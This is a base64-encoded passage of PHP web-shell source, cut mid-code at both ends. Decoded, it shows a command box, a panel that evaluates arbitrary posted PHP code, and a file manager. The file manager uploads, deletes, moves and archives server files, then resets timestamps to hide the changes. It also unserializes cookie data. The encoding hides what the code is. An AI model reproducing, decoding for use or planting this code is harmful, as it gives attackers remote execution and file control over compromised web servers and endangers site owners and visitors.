dGV4dGFyZWE+PHRhYmxlIHN0eWxlPSJib3JkZXI6MXB4IHNvbGlkICMwNjBhMTA7YmFja2dyb3Vu
ZC1jb2xvcjojMDYwYTEwO2JvcmRlci10b3A6MHB4OyIgY2VsbHBhZGRpbmc9MCBjZWxsc3BhY2lu
Zz0wIHdpZHRoPSIxMDAlIj48dHI+PHRkIHN0eWxlPSJwYWRkaW5nLWxlZnQ6NHB4OyB3aWR0aDox
M3B4OyI+JDwvdGQ+PHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1jbWQgc3R5bGU9ImJvcmRlcjow
cHg7d2lkdGg6MTAwJTsiIG9ua2V5ZG93bj0ia3AoZXZlbnQpOyI+PC90ZD48L3RyPjwvdGFibGU+
JzsKCWVjaG8gJzwvZm9ybT48L2Rpdj48c2NyaXB0PmQuY2YuY21kLmZvY3VzKCk7PC9zY3JpcHQ+
JzsKCWhhcmRGb290ZXIoKTsKfQpmdW5jdGlvbiBhY3Rpb25QaHAoKSB7CglpZiggaXNzZXQoJF9Q
T1NUWydhamF4J10pICkgewoJCSRfQ09PS0lFW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidh
amF4J10gPSB0cnVlOwoJCW9iX3N0YXJ0KCk7CgkJZXZhbCgkX1BPU1RbJ3AxJ10pOwoJCSR0ZW1w
ID0gImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdQaHBPdXRwdXQnKS5zdHlsZS5kaXNwbGF5PScn
O2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdQaHBPdXRwdXQnKS5pbm5lckhUTUw9JyIuYWRkY3Ns
YXNoZXMoaHRtbHNwZWNpYWxjaGFycyhvYl9nZXRfY2xlYW4oKSksIlxuXHJcdFxcJ1wwIikuIic7
XG4iOwoJCWVjaG8gc3RybGVuKCR0ZW1wKSwgIlxuIiwgJHRlbXA7CgkJZXhpdDsKCX0KCWhhcmRI
ZWFkZXIoKTsKCWlmKCBpc3NldCgkX1BPU1RbJ3AyJ10pICYmICgkX1BPU1RbJ3AyJ10gPT0gJ2lu
Zm8nKSApIHsKCQllY2hvICc8aDE+UEhQIGluZm88L2gxPjxkaXYgY2xhc3M9Y29udGVudD4nOwoJ
CW9iX3N0YXJ0KCk7CgkJcGhwaW5mbygpOwoJCSR0bXAgPSBvYl9nZXRfY2xlYW4oKTsKCQkkdG1w
ID0gcHJlZ19yZXBsYWNlKCchYm9keSB7Lip9IW1zaVUnLCcnLCR0bXApOwoJCSR0bXAgPSBwcmVn
X3JlcGxhY2UoJyFhOlx3KyB7Lip9IW1zaVUnLCcnLCR0bXApOwoJCSR0bXAgPSBwcmVnX3JlcGxh
Y2UoJyFoMSFtc2lVJywnaDInLCR0bXApOwoJCSR0bXAgPSBwcmVnX3JlcGxhY2UoJyF0ZCwgdGgg
eyguKil9IW1zaVUnLCcuZSwgLnYsIC5oLCAuaCB0aCB7JDF9JywkdG1wKTsKCQkkdG1wID0gcHJl
Z19yZXBsYWNlKCchYm9keSwgdGQsIHRoLCBoMiwgaDIgey4qfSFtc2lVJywnJywkdG1wKTsKCQll
Y2hvICR0bXA7CgkJZWNobyAnPC9kaXY+PGJyPic7Cgl9CglpZihlbXB0eSgkX1BPU1RbJ2FqYXgn
XSkmJiFlbXB0eSgkX1BPU1RbJ3AxJ10pKQoJCSRfQ09PS0lFW21kNSgkX1NFUlZFUlsnSFRUUF9I
T1NUJ10pLidhamF4J10gPSBmYWxzZTsKCQllY2hvICc8aDE+RXhlY3V0aW9uIFBIUC1jb2RlPC9o
MT48ZGl2IGNsYXNzPWNvbnRlbnQ+PGZvcm0gbmFtZT1wZiBtZXRob2Q9cG9zdCBvbnN1Ym1pdD0i
aWYodGhpcy5hamF4LmNoZWNrZWQpe2EobnVsbCxudWxsLHRoaXMuY29kZS52YWx1ZSk7fWVsc2V7
ZyhudWxsLG51bGwsdGhpcy5jb2RlLnZhbHVlLFwnXCcpO31yZXR1cm4gZmFsc2U7Ij48dGV4dGFy
ZWEgbmFtZT1jb2RlIGNsYXNzPWJpZ2FyZWEgaWQ9UGhwQ29kZT4nLighZW1wdHkoJF9QT1NUWydw
MSddKT9odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDEnXSk6JycpLic8L3RleHRhcmVhPjxpbnB1
dCB0eXBlPXN1Ym1pdCB2YWx1ZT1FdmFsIHN0eWxlPSJtYXJnaW4tdG9wOjVweCI+JzsKCWVjaG8g
JyA8aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPWFqYXggdmFsdWU9MSAnLigkX0NPT0tJRVttZDUo
JF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCddPydjaGVja2VkJzonJykuJz4gc2VuZCB1c2lu
ZyBBSkFYPC9mb3JtPjxwcmUgaWQ9UGhwT3V0cHV0IHN0eWxlPSInLihlbXB0eSgkX1BPU1RbJ3Ax
J10pPydkaXNwbGF5Om5vbmU7JzonJykuJ21hcmdpbi10b3A6NXB4OyIgY2xhc3M9bWwxPic7Cglp
ZighZW1wdHkoJF9QT1NUWydwMSddKSkgewoJCW9iX3N0YXJ0KCk7CgkJZXZhbCgkX1BPU1RbJ3Ax
J10pOwoJCWVjaG8gaHRtbHNwZWNpYWxjaGFycyhvYl9nZXRfY2xlYW4oKSk7Cgl9CgllY2hvICc8
L3ByZT48L2Rpdj4nOwoJaGFyZEZvb3RlcigpOwp9CmZ1bmN0aW9uIGFjdGlvbkZpbGVzTWFuKCkg
ewogICAgaWYgKCFlbXB0eSAoJF9DT09LSUVbJ2YnXSkpCiAgICAgICAgJF9DT09LSUVbJ2YnXSA9
IEB1bnNlcmlhbGl6ZSgkX0NPT0tJRVsnZiddKTsKCglpZighZW1wdHkoJF9QT1NUWydwMSddKSkg
ewoJCXN3aXRjaCgkX1BPU1RbJ3AxJ10pIHsKCQkJY2FzZSAndXBsb2FkRmlsZSc6CiAgICAgICAg
ICAgICAgICAkZGlydGltZSA9IEBmaWxlbXRpbWUoJEdMT0JBTFNbJ2N3ZCddKTsKICAgICAgICAg
ICAgICAgIGlmICggaXNfYXJyYXkoJF9GSUxFU1snZiddWyd0bXBfbmFtZSddKSApIHsKCQkJCQlm
b3JlYWNoICggJF9GSUxFU1snZiddWyd0bXBfbmFtZSddIGFzICRpID0+ICR0bXBOYW1lICkgewog
ICAgICAgICAgICAgICAgICAgICAgICBpZighQG1vdmVfdXBsb2FkZWRfZmlsZSgkdG1wTmFtZSwg
JF9GSUxFU1snZiddWyduYW1lJ11bJGldKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgIGVjaG8gIkNhbid0IHVwbG9hZCBmaWxlISI7CgkJCQkJCQl9IGVsc2UgewogICAgICAgICAg
ICAgICAgICAgICAgICAJCUB0b3VjaCgkR0xPQkFMU1snY3dkJ10gLiAkX0ZJTEVTWydmJ11bJ25h
bWUnXVskaV0sICRkaXJ0aW1lLCAkZGlydGltZSk7CiAgICAgICAgICAgICAgICAgICAgICAgIAl9
CgkJCQkJCX0KICAgICAgICAgICAgICAgICAgICBAdG91Y2goJEdMT0JBTFNbJ2N3ZCddLCAkZGly
dGltZSwgJGRpcnRpbWUpOwogICAgICAgICAgICAgICAgfQoJCQkJYnJlYWs7CgkJCWNhc2UgJ21r
ZGlyJzoKCQkJCWlmKCFAbWtkaXIoJF9QT1NUWydwMiddKSkKCQkJCQllY2hvICJDYW4ndCBjcmVh
dGUgbmV3IGRpciI7CgkJCQlicmVhazsKCQkJY2FzZSAnZGVsZXRlJzoKCQkJCWZ1bmN0aW9uIGRl
bGV0ZURpcigkcGF0aCkgewoJCQkJCSRwYXRoID0gKHN1YnN0cigkcGF0aCwtMSk9PScvJykgPyAk
cGF0aDokcGF0aC4nLyc7CgkJCQkJJGRoICA9IG9wZW5kaXIoJHBhdGgpOwoJCQkJCXdoaWxlICgg
KCTilp8gPSByZWFkZGlyKCRkaCkgKSAhPT0gZmFsc2UpIHsKCQkJCQkJJOKWnyA9ICRwYXRoLiTi
lp87CgkJCQkJCWlmICggKGJhc2VuYW1lKCTilp8pID09ICIuLiIpIHx8IChiYXNlbmFtZSgk4paf
KSA9PSAiLiIpICkKCQkJCQkJCWNvbnRpbnVlOwoJCQkJCQkkdHlwZSA9IGZpbGV0eXBlKCTilp8p
OwoJCQkJCQlpZiAoJHR5cGUgPT0gImRpciIpCgkJCQkJCQlkZWxldGVEaXIoJOKWnyk7CgkJCQkJ
CWVsc2UKCQkJCQkJCUB1bmxpbmsoJOKWnyk7CgkJCQkJfQoJCQkJCWNsb3NlZGlyKCRkaCk7CgkJ
CQkJQHJtZGlyKCRwYXRoKTsKCQkJCX0KCQkJCWlmKGlzX2FycmF5KEAkX1BPU1RbJ2YnXSkpCgkJ
CQkJZm9yZWFjaCgkX1BPU1RbJ2YnXSBhcyAkZikgewogICAgICAgICAgICAgICAgICAgICAgICBp
ZigkZiA9PSAnLi4nKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgY29udGludWU7CgkJCQkJ
CSRmID0gdXJsZGVjb2RlKCRmKTsKICAgICAgICAgICAgICAgICAgICAgICAgJGRpciA9IEBkaXJu
YW1lKCRmKTsKICAgICAgICAgICAgICAgICAgICAgICAgJGRpcnRpbWUgPSBAZmlsZW10aW1lKCRk
aXIpOwoJCQkJCQlpZihpc19kaXIoJGYpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBk
ZWxldGVEaXIoJGYpOwogICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAg
ICAgICAgICAgICAgICAgICAgQHVubGluaygkZik7CiAgICAgICAgICAgICAgICAgICAgICAgIH0K
ICAgICAgICAgICAgICAgICAgICAgICAgQHRvdWNoKCRkaXIsICRkaXJ0aW1lLCAkZGlydGltZSk7
CiAgICAgICAgICAgICAgICAgICAgfQoJCQkJYnJlYWs7CgkJCWNhc2UgJ3Bhc3RlJzoKCQkJCWlm
KCRfQ09PS0lFWydhY3QnXSA9PSAnY29weScpIHsKCQkJCQlmdW5jdGlvbiBjb3B5X3Bhc3RlKCRj
LCRzLCRkKXsKCQkJCQkJaWYoaXNfZGlyKCRjLiRzKSl7CgkJCQkJCQlta2RpcigkZC4kcyk7CgkJ
CQkJCQkkaCA9IEBvcGVuZGlyKCRjLiRzKTsKCQkJCQkJCXdoaWxlICgoJGYgPSBAcmVhZGRpcigk
aCkpICE9PSBmYWxzZSkKCQkJCQkJCQlpZiAoKCRmICE9ICIuIikgYW5kICgkZiAhPSAiLi4iKSkK
CQkJCQkJCQkJY29weV9wYXN0ZSgkYy4kcy4nLycsJGYsICRkLiRzLicvJyk7CgkJCQkJCX0gZWxz
ZWlmKGlzX2ZpbGUoJGMuJHMpKQoJCQkJCQkJQGNvcHkoJGMuJHMsICRkLiRzKTsKCQkJCQl9CgkJ
CQkJZm9yZWFjaCgkX0NPT0tJRVsnZiddIGFzICRmKQoJCQkJCQljb3B5X3Bhc3RlKCRfQ09PS0lF
WydjJ10sJGYsICRHTE9CQUxTWydjd2QnXSk7CgkJCQl9IGVsc2VpZigkX0NPT0tJRVsnYWN0J10g
PT0gJ21vdmUnKSB7CgkJCQkJZnVuY3Rpb24gbW92ZV9wYXN0ZSgkYywkcywkZCl7CgkJCQkJCWlm
KGlzX2RpcigkYy4kcykpewoJCQkJCQkJbWtkaXIoJGQuJHMpOwoJCQkJCQkJJGggPSBAb3BlbmRp
cigkYy4kcyk7CgkJCQkJCQl3aGlsZSAoKCRmID0gQHJlYWRkaXIoJGgpKSAhPT0gZmFsc2UpCgkJ
CQkJCQkJaWYgKCgkZiAhPSAiLiIpIGFuZCAoJGYgIT0gIi4uIikpCgkJCQkJCQkJCWNvcHlfcGFz
dGUoJGMuJHMuJy8nLCRmLCAkZC4kcy4nLycpOwoJCQkJCQl9IGVsc2VpZihAaXNfZmlsZSgkYy4k
cykpCgkJCQkJCQlAY29weSgkYy4kcywgJGQuJHMpOwoJCQkJCX0KCQkJCQlmb3JlYWNoKCRfQ09P
S0lFWydmJ10gYXMgJGYpCgkJCQkJCUByZW5hbWUoJF9DT09LSUVbJ2MnXS4kZiwgJEdMT0JBTFNb
J2N3ZCddLiRmKTsKCQkJCX0gZWxzZWlmKCRfQ09PS0lFWydhY3QnXSA9PSAnemlwJykgewoJCQkJ
CWlmKGNsYXNzX2V4aXN0cygnWmlwQXJjaGl2ZScpKSB7CiAgICAgICAgICAgICAgICAgICAgICAg
ICR6aXAgPSBuZXcgWmlwQXJjaGl2ZSgpOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJHpp
cC0+b3BlbigkX1BPU1RbJ3AyJ10sIDEpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBj
aGRpcigkX0NPT0tJRVsnYyddKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2go
JF9DT09LSUVbJ2YnXSBhcyAkZikgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlm
KCRmID09ICcuLicpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvbnRpbnVl
OwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKEBpc19maWxlKCRfQ09PS0lFWydj
J10uJGYpKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkemlwLT5hZGRGaWxl
KCRfQ09PS0lFWydjJ10uJGYsICRmKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBl
bHNlaWYoQGlzX2RpcigkX0NPT0tJRVsnYyddLiRmKSkgewogICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAkaXRlcmF0b3IgPSBuZXcgUmVjdXJzaXZlSXRlcmF0b3JJdGVyYXRvcihu
ZXcgUmVjdXJzaXZlRGlyZWN0b3J5SXRlcmF0b3IoJGYuJy8nLCBGaWxlc3lzdGVtSXRlcmF0b3I6
OlNLSVBfRE9UUykpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNo
ICgkaXRlcmF0b3IgYXMgJGtleT0+JHZhbHVlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAkemlwLT5hZGRGaWxlKHJlYWxwYXRoKCRrZXkpLCAka2V5KTsKICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAg
ICAgICAgICAgIGNoZGlyKCRHTE9CQUxTWydjd2QnXSk7CiAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAkemlwLT5jbG9zZSgpOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAg
ICAgICAgICAgfQoJCQkJfSBlbHNlaWYoJF9DT09LSUVbJ2FjdCddID09ICd1bnppcCcpIHsKCQkJ
CQlpZihjbGFzc19leGlzdHMoJ1ppcEFyY2hpdmUnKSkgewogICAgICAgICAgICAgICAgICAgICAg
ICAkemlwID0gbmV3IFppcEFyY2hpdmUoKTsKICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFj
aCgkX0NPT0tJRVsnZiddIGFzICRmKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZigk
emlwLT5vcGVuKCRfQ09PS0lFWydjJ10uJGYpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgJHppcC0+ZXh0cmFjdFRvKCRHTE9CQUxTWydjd2QnXSk7CiAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgJHppcC0+Y2xvc2UoKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAg
IH0KICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KCQkJCX0g
ZWxzZWlmKCRfQ09PS0lFWydhY3QnXSA9PSAndGFyJykgewogICAgICAgICAgICAgICAgICAgIGNo
ZGlyKCRfQ09PS0lFWydjJ10pOwogICAgICAgICAgICAgICAgICAgICRfQ09PS0lFWydmJ10gPSBh
cnJheV9tYXAoJ2VzY2FwZXNoZWxsYXJnJywgJF9DT09LSUVbJ2YnXSk7CiAgICAgICAgICAgICAg
ICAgICAgZXgoJ3RhciBjZnp2ICcgLiBlc2NhcGVzaGVsbGFyZygkX1BPU1RbJ3AyJ10pIC4gJyAn
IC4gaW1wbG9kZSgnICcsICRfQ09PS0lFWydmJ10pKTsKICAgICAgICAgICAgICAgICAgICBjaGRp
cigkR0xPQkFMU1snY3dkJ10pOwoJCQkJfQoJCQkJdW5zZXQoJF9DT09LSUVbJ2YnXSk7CiAgICAg
ICAgICAgICAgICBzZXRjb29raWUoJ2YnLCAnJywgdGltZSgpIC0gMzYwMCk7CgkJCQlicmVhazsK
CQkJZGVmYXVsdDoKICAgICAgICAgICAgICAgIGlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pKSB7CgkJ
CQkJcHJvdG90eXBlKCdhY3QnLCAkX1BPU1RbJ3AxJ10pOwoJCQkJCXByb3RvdHlwZSgnZicsIHNl
cmlhbGl6ZShAJF9QT1NUWydmJ10pKTsKCQkJCQlwcm90b3R5cGUoJ2MnLCBAJF9QT1NUWydjJ10p
OwoJCQkJfQoJCQkJYnJlYWs7CgkJfQoJfQogICAgaGFyZEhlYWRlcigpOwoJZWNobyAnPGgxPkZp
bGUgbWFuYWdlcjwvaDE+PGRpdiBjbGFzcz1jb250ZW50PjxzY3JpcHQ+cDFfPXAyXz1wM189IiI7
PC9zY3JpcHQ+JzsKCSRkaXJDb250ZW50ID0gaGFyZFNjYW5kaXIoaXNzZXQoJF9QT1NUWydjJ10p
PyRfUE9TVFsnYyddOiRHTE9CQUxTWydjd2QnXSk7CglpZigkZGlyQ29udGVudCA9PT0gZmFsc2Up
IHsJZWNobyAnQ2FuXCd0IG9wZW4gdGhpcyBmb2xkZXIhJztoYXJkRm9vdGVyKCk7IHJldHVybjsg
fQoJZ2xvYmFsICRzb3J0OwoJJHNvcnQgPSBhcnJheSgnbmFtZScsIDEpOwoJaWYoIWVtcHR5KCRf
UE9TVFsncDEnXSkpIHsKCQlpZihwcmVnX21hdGNoKCchc18oW0Etel0rKV8oXGR7MX0pIScsICRf
UE9TVFsncDEnXSwgJG1hdGNoKSkKCQkJJHNvcnQgPSBhcnJheSgkbWF0Y2hbMV0sIChpbnQpJG1h
dGNoWzJdKTsKCX0KZWNobyAiPHNjcmlwdD4KCWZ1bmN0aW9uIHNhKCkgewoJCWZvcihpPTA7aTxk
LmZpbGVzLmVsZW1lbnRzLmxlbmd0aDtpKyspCgkJCWlmKGQuZmlsZXMuZWxlbWVudHNbaV0udHlw
ZSA9PSAnY2hlY2tib3gnKQoJCQkJZC5maWxlcy5lbGVtZW50c1tpXS5jaGVja2VkID0gZC5maWxl
cy5lbGVtZW50c1swXS5jaGVja2VkOwoJfQo8L3NjcmlwdD4KPHRhYmxlIHdpZHRoPScxMDAlJyBj
bGFzcz0nbWFpbicgY2VsbHNwYWNpbmc9JzAnIGNlbGxwYWRkaW5nPScyJz4KPGZvcm0gbmFtZT1m
aWxlcyBtZXRob2Q9cG9zdD48dHI+PHRoIHdpZHRoPScxM3B4Jz48aW5wdXQgdHlwZT1jaGVja2Jv
eCBvbmNsaWNrPSdzYSgpJyBjbGFzcz1jaGtieD48L3RoPjx0aD48YSBocmVmPScjJyBvbmNsaWNr
PSdnKFwiRmlsZXNNYW5cIixudWxsLFwic19uYW1lXyIuKCRzb3J0WzFdPzA6MSkuIlwiKSc+TmFt
ZTwvYT48L3RoPjx0aD48YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixudWxsLFwi
c19zaXplXyIuKCRzb3J0WzFdPzA6MSkuIlwiKSc+U2l6ZTwvYT48L3RoPjx0aD48YSBocmVmPScj
JyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixudWxsLFwic19tb2RpZnlfIi4oJHNvcnRbMV0/MDox
KS4iXCIpJz5Nb2RpZnk8L2E+PC90aD48dGg+T3duZXIvR3JvdXA8L3RoPjx0aD48YSBocmVmPScj
JyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixudWxsLFwic19wZXJtc18iLigkc29ydFsxXT8wOjEp
LiJcIiknPlBlcm1pc3Npb25zPC9hPjwvdGg+PHRoPkFjdGlvbnM8L3RoPjwvdHI+IjsKCSRkaXJz
ID0gJGZpbGVzID0gYXJyYXkoKTsKCSRuID0gY291bnQoJGRpckNvbnRlbnQpOwoJZm9yKCRpPTA7
JGk8JG47JGkrKykgewoJCSRvdyA9IEBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCRkaXJDb250
ZW50WyRpXSkpOwoJCSRnciA9IEBwb3NpeF9nZXRncmdpZChAZmlsZWdyb3VwKCRkaXJDb250ZW50
WyRpXSkpOwoJCSR0bXAgPSBhcnJheSgnbmFtZScgPT4gJGRpckNvbnRlbnRbJGldLAoJCQkJCSAn
cGF0aCcgPT4gJEdMT0JBTFNbJ2N3ZCddLiRkaXJDb250ZW50WyRpXSwKCQkJCQkgJ21vZGlmeScg
PT4gZGF0ZSgnWS1tLWQgSDppOnMnLCBAZmlsZW10aW1lKCRHTE9CQUxTWydjd2QnXSAuICRkaXJD
b250ZW50WyRpXSkpLAoJCQkJCSAncGVybXMnID0+IHZpZXdQZXJtc0NvbG9yKCRHTE9CQUxTWydj
d2QnXSAuICRkaXJDb250ZW50WyRpXSksCgkJCQkJICdzaXplJyA9PiBAZmlsZXNpemUoJEdMT0JB
TFNbJ2N3ZCddLiRkaXJDb250ZW50WyRpXSksCgkJCQkJICdvd25lcicgPT4gJG93WyduYW1lJ10/
JG93WyduYW1lJ106QGZpbGVvd25lcigkZGlyQ29udGVudFskaV0pLAoJCQkJCSAnZ3JvdXAnID0+
ICRnclsnbmFtZSddPyRnclsnbmFtZSddOkBmaWxlZ3JvdXAoJGRpckNvbnRlbnRbJGldKQoJCQkJ
CSk7CgkJaWYoQGlzX2ZpbGUoJEdMT0JBTFNbJ2N3ZCddIC4gJGRpckNvbnRlbnRbJGldKSkKCQkJ
JGZpbGVzW10gPSBhcnJheV9tZXJnZSgkdG1wLCBhcnJheSgndHlwZScgPT4gJ2ZpbGUnKSk7CgkJ
ZWxzZWlmKEBpc19saW5rKCRHTE9CQUxTWydjd2QnXSAuICRkaXJDb250ZW50WyRpXSkpCgkJCSRk
aXJzW10gPSBhcnJheV9tZXJnZSgkdG1wLCBhcnJheSgndHlwZScgPT4gJ2xpbmsnLCAnbGluaycg
PT4gcmVhZGxpbmsoJHRtcFsncGF0aCddKSkpOwoJCWVsc2VpZihAaXNfZGlyKCRHTE9CQUxTWydj
d2QnXSAuICRkaXJDb250ZW50WyRpXSkmJigkZGlyQ29udGVudFskaV0gIT0gIi4iKSkKCQkJJGRp
cnNbXSA9IGFycmF5X21lcmdlKCR0bXAsIGFycmF5KCd0eXBlJyA9PiAnZGlyJykpOwoJfQoJJEdM
T0JBTFNbJ3NvcnQnXSA9ICRzb3J0OwoJZnVuY3Rpb24gY21wKCRhLCAkYikgewoJCWlmKCRHTE9C
QUxTWydzb3J0J11bMF0gIT0gJ3NpemUnKQoJCQlyZXR1cm4gc3RyY21wKHN0cnRvbG93ZXIoJGFb
JEdMT0JBTFNbJ3NvcnQnXVswXV0pLCBzdHJ0b2xvd2VyKCRiWyRHTE9CQUxTWydzb3J0J11bMF1d
KSkqKCRHTE9CQUxTWydzb3J0J11bMV0/MTotMSk7CgkJZWxzZQoJCQlyZXR1cm4gKCgkYVsnc2l6
ZSddIDwgJGJbJ3NpemUnXSkgPyAtMSA6IDEpKigkR0xPQkFMU1snc29ydCddWzFdPzE6LTEpOwoJ
fQoJdXNvcnQoJGZpbGVzLCAiY21wIik7Cgl1c29ydCgkZGlycywgImNtcCIpOwoJJGZpbGVzID0g
YXJyYXlfbWVyZ2UoJGRpcnMsICRmaWxlcyk7CgkkbCA9IDA7Cglmb3JlYWNoKCRmaWxlcyBhcyAk
ZikgewoJCWVjaG8gJzx0cicuKCRsPycgY2xhc3M9bDEnOicnKS4nPjx0ZD48aW5wdXQgdHlwZT1j
aGVja2JveCBuYW1lPSJmW10iIHZhbHVlPSInLnVybGVuY29kZSgkZlsnbmFtZSddKS4nIiBjbGFz
cz1jaGtieD48L3RkPjx0ZD48YSBocmVmPSMgb25jbGljaz0iJy4oKCRmWyd0eXBlJ109PSdmaWxl
Jyk/J2coXCdGaWxlc1Rvb2xzXCcsbnVsbCxcJycudXJsZW5jb2RlKCRmWyduYW1lJ10pLidcJywg
XCd2aWV3XCcpIj4nLmh0bWxzcGVjaWFsY2hhcnMoJGZbJ25hbWUnXSk6J2coXCdGaWxlc01hblwn
LFwnJy4kZlsncGF0aCddLidcJyk7IiAnIC4gKGVtcHR5ICgkZlsnbGluayddKSA/ICcnIDogInRp
dGxlPSd7JGZbJ2xpbmsnXX0nIikgLiAnPjxiPlsgJyAuIGh0bWxzcGVjaWFsY2hhcnMoJGZbJ25h
bWUnXSkgLiAnIF08L2I+JykuJzwvYT48L3RkPjx0ZD4nLigoJGZbJ3R5cGUnXT09J2ZpbGUnKT92
aWV3U2l6ZSgkZlsnc2l6ZSddKTokZlsndHlwZSddKS4nPC90ZD48dGQ+Jy4kZlsnbW9kaWZ5J10u
JzwvdGQ+PHRkPicuJGZbJ293bmVyJ10uJy8nLiRmWydncm91cCddLic8L3RkPjx0ZD48YSBocmVm
PSMgb25jbGljaz0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy51cmxlbmNvZGUoJGZbJ25hbWUn
XSkuJ1wnLFwnY2htb2RcJykiPicuJGZbJ3Blcm1zJ10KCQkJLic8L3RkPjx0ZD48YSBjbGFzcz0i
dG9vbHRpcCIgZGF0YS10b29sdGlwPSJSZW5hbWUiIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdGaWxl
c1Rvb2xzXCcsbnVsbCxcJycudXJsZW5jb2RlKCRmWyduYW1lJ10pLidcJywgXCdyZW5hbWVcJyki
PlI8L2E+IDxhIGNsYXNzPSJ0b29sdGlwIiBkYXRhLXRvb2x0aXA9IlRvdWNoIiBocmVmPSIjIiBv
bmNsaWNrPSJnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnLnVybGVuY29kZSgkZlsnbmFtZSddKS4n
XCcsIFwndG91Y2hcJykiPlQ8L2E+Jy4oKCRmWyd0eXBlJ109PSdmaWxlJyk/JyA8YSBjbGFzcz0i
dG9vbHRpcCIgZGF0YS10b29sdGlwPSJGcmFtZSIgaHJlZj0iIyIgb25jbGljaz0iZyhcJ0ZpbGVz
VG9vbHNcJyxudWxsLFwnJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJ1wnLCBcJ2ZyYW1lXCcpIj5G
PC9hPiA8YSBjbGFzcz0idG9vbHRpcCIgZGF0YS10b29sdGlwPSJFZGl0IiBocmVmPSIjIiBvbmNs
aWNrPSJnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnLnVybGVuY29kZSgkZlsnbmFtZSddKS4nXCcs
IFwnZWRpdFwnKSI+RTwvYT4gPGEgY2xhc3M9InRvb2x0aXAiIGRhdGEtdG9vbHRpcD0iRG93bmxv
YWQiIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdGaWxlc1Rvb2xzXCcsbnVsbCxcJycudXJsZW5jb2Rl
KCRmWyduYW1lJ10pLidcJywgXCdkb3dubG9hZFwnKSI+RDwvYT4nOicnKS4nPC90ZD48L3RyPic7
CgkJJGwgPSAkbD8wOjE7Cgl9CgllY2hvICI8dHIgaWQ9ZmFrPjx0ZCBjb2xzcGFuPTc+Cgk8aW5w
dXQgdHlwZT1oaWRkZW4gbmFtZT1uZSB2YWx1ZT0nJz4KCTxpbnB1dCB0eXBlPWhpZGRlbiBuYW1l
PWEgdmFsdWU9J0ZpbGVzTWFuJz4KCTxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWMgdmFsdWU9JyIg
LiBodG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkgLiInPgoJPGlucHV0IHR5cGU9aGlk
ZGVuIG5hbWU9Y2hhcnNldCB2YWx1ZT0nIi4gKGlzc2V0KCRfUE9TVFsnY2hhcnNldCddKT8kX1BP
U1RbJ2NoYXJzZXQnXTonJykuIic+Cgk8bGFiZWw+PHNlbGVjdCBuYW1lPSdwMSc+IjsKCWlmKCFl
bXB0eSgkX0NPT0tJRVsnYWN0J10pICYmIEBjb3VudCgkX0NPT0tJRVsnZiddKSkKICAgICAgICBl
Y2hvICI8b3B0aW9uIHZhbHVlPSdwYXN0ZSc+4oazIFBhc3RlPC9vcHRpb24+IjsKCWVjaG8gIjxv
cHRpb24gdmFsdWU9J2NvcHknPkNvcHk8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdtb3ZlJz5Nb3Zl
PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nZGVsZXRlJz5EZWxldGU8L29wdGlvbj4iOwogICAgaWYo
Y2xhc3NfZXhpc3RzKCdaaXBBcmNoaXZlJykpCiAgICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT0n
emlwJz4rIHppcDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J3VuemlwJz4tIHppcDwvb3B0aW9uPiI7
CiAgICBlY2hvICI8b3B0aW9uIHZhbHVlPSd0YXInPisgdGFyLmd6PC9vcHRpb24+IjsKICAgIGVj
aG8gIjwvc2VsZWN0PjwvbGFiZWw+IjsKICAgIGlmKCFlbXB0eSgkX0NPT0tJRVsnYWN0J10pICYm
